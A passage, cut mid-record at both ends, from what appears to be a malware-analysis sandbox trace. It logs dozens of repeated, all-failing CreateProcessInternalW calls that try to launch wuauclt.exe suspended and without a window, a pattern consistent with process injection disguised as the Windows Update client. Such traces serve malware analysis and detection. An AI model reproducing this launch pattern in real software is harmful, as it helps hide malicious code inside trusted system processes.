dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.591] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.591] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.591] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.592] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.592] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.592] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.592] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.592] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.592] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.592] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.592] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.592] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.592] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.592] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.592] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.592] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.593] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.593] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.593] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.593] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.593] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.593] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.593] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.593] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.593] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.593] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.593] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.593] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.594] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.594] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.594] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.594] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.594] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, 